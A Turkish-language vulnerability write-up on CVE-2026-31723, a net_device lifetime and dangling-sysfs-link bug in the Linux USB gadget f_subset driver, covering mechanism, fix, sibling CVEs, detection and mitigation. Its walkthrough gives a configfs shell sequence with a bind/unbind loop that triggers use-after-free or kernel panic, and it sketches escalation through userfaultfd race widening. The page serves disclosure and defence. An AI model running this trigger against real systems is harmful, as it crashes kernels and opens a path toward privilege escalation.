Skip to content

USB gadget dangling sysfs link (CVE-2026-31723)

Bir USB gadget f_subset network device'ı sysfs parent'ından daha uzun yaşayabilir ve daha sonraki traversal'ı free edilmiş belleğe referans veren dangling bir sysfs symlink bırakır — gadget subsystem'inde bir lifetime/use-after-free bug sınıfı.

Mechanism

USB gadget function'ları configfs aracılığıyla bir araya getirilir ve network-class function'ları (f_subset/u_ether, f_ecm, f_eem, f_ncm, rndis) bir struct net_device register eder ve onu sysfs aracılığıyla açar. Configfs gadget node'u ile net device'ının sysfs directory'si arasındaki directory hiyerarşisinin ve symlink'lerin, altta yatan net_device nesnesinden bağımsız lifetime'ları vardır.

Note

İhlal edilen invariant: her sysfs symlink, işaret ettiği nesne free edilmeden önce kaldırılmalıdır. CVE-2026-31723'te, f_subset tarafından oluşturulan net_device (gadget unbind / disconnect'te) teardown edilebilirken, onun directory'sine işaret eden sysfs symlink unbind yolunda kaldırılmıyordu. Link artık dangling'dir: backing nesnesi free edilmiş bir directory'yi adlandırır. O symlink'in sonraki bir traversal'ı free edilmiş belleğe bir referans takip eder — bir use-after-free için ders kitabı niteliğinde önkoşul.

Fix (NVD'ye göre: "usb: gadget: f_subset: Fix net_device lifecycle with device_move"), device lifecycle'ını yeniden düzenler ki net device sysfs link'leriyle eşgüdümlü olarak düzgünce device_move edilsin / unregister olsun; unbind yoluna eksik olan sysfs_remove_link()'i ekler ve creation yolunu bind/unbind cycle'ları boyunca yinelenen link'lere karşı korur.

Warning

Bu, kardeş bug'lardan oluşan bir cluster'ın biridir — CVE-2026-31722 (RNDIS), CVE-2026-31724 (f_eem), CVE-2026-31725, CVE-2026-43421 (f_ncm net_device lifetime) — hepsi farklı gadget function'larında aynı "net_device sysfs/gadget parent'ından daha uzun yaşar" desenidir. Bunu tek bir bug olarak değil, bir bug sınıfı olarak ele al. Daha geniş USB descriptor parsing bug sınıfı ile karşılaştır.

CVE, CVSS 3.1 Base 5.5 (Medium) olarak derecelendirilmiştir, vector AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H — local, düşük karmaşıklık, availability etkisi (panic/DoS), belirli koşullar altında use-after-free / privilege-escalation potansiyeli ile.

Walkthrough

Trigger, gadget'ları configfs aracılığıyla yapılandırma (CONFIGFS_GADGET, tipik olarak root ya da delege edilmiş bir namespace) ve bir subset/geth function'ında tekrarlı bind/unbind cycle'ları çalıştırma yeteneğini gerektirir.

# 1. Mount configfs and create a gadget
mount -t configfs none /sys/kernel/config
cd /sys/kernel/config/usb_gadget
mkdir g1 && cd g1
echo 0x1d6b > idVendor ; echo 0x0104 > idProduct

# 2. Create a CDC Subset (geth) function — this registers a net_device
mkdir functions/geth.0          # f_subset
mkdir configs/c.1
ln -s functions/geth.0 configs/c.1/      # link function into config (sysfs link created)

Gadget'ı bind edip sonra unbind etmek vulnerable yolu çalıştırır:

# 3. Bind: net_device registered, sysfs links established
ls /sys/class/net/                       # usbX appears
echo "dummy_udc.0" > UDC                  # bind to a UDC

# 4. Unbind: on a vulnerable kernel the symlink is NOT torn down with the netdev
echo "" > UDC                             # unbind -> net_device torn down

# 5. Repeat bind/unbind in a loop; the stale link now references freed state
for i in $(seq 1 100); do
        echo "dummy_udc.0" > UDC; echo "" > UDC
done

Vulnerable bir kernel'de beklenen: dmesg, bir sysfs: cannot create duplicate filename / list_add corruption uyarısı, gadget unbind yolunda device_del/sysfs_remove_link'e atıfta bulunan bir KASAN use-after-free raporu ya da bir kernel panic gösterir — dangling link'in yeniden oluşturulup oluşturulmadığına ya da traverse edilip edilmediğine bağlı olarak. Yamalı bir kernel'de link unbind'da temizce kaldırılır ve döngü zararsızdır.

Neden \"zararsız\" bir symlink bug'ı exploit edilebilir

Dangling bir sysfs link sadece kozmetik değildir: onu traverse etmek free edilmiş bir kobject'i deref edebilir ve bind/unbind race'i, free edilen slot'a kontrol edilen bir nesne indirmek için genişletilebilir (örneğin userfaultfd race-window widening ile) — ve DoS'u bir use-after-free primitive'ine çevirir.

Detection

geth/subset/ncm function'larında tekrarlı configfs gadget UDC write toggle'ları (bind/unbind churn'ü), meşru gadget bring-up dışında olağandışı bir workload'dur. KASAN / slub_debug=FZP, CI/fuzzing'de UAF'yi derhal yüzeye çıkarır. /sys/class/net entry'lerinde sysfs: cannot create duplicate filename için dmesg'i izlemek dangling-link durumunu işaretler.

Mitigation

  • Stable fix'leri uygula (commit'ler 06524cd1…, 70707ce6…, 9cbc4f10…, fde29916…); 6.12/6.18/6.19 stable hatları boyunca backport edildi.
  • Configfs gadget yapılandırmasını güvenilmeyen kullanıcılara/namespace'lere açma; CONFIG_USB_CONFIGFS erişimini kısıtla.
  • Lifetime bug'ını sevk edilmeden önce yakalamak için test kernel'lerini CONFIG_KASAN ile derle.

References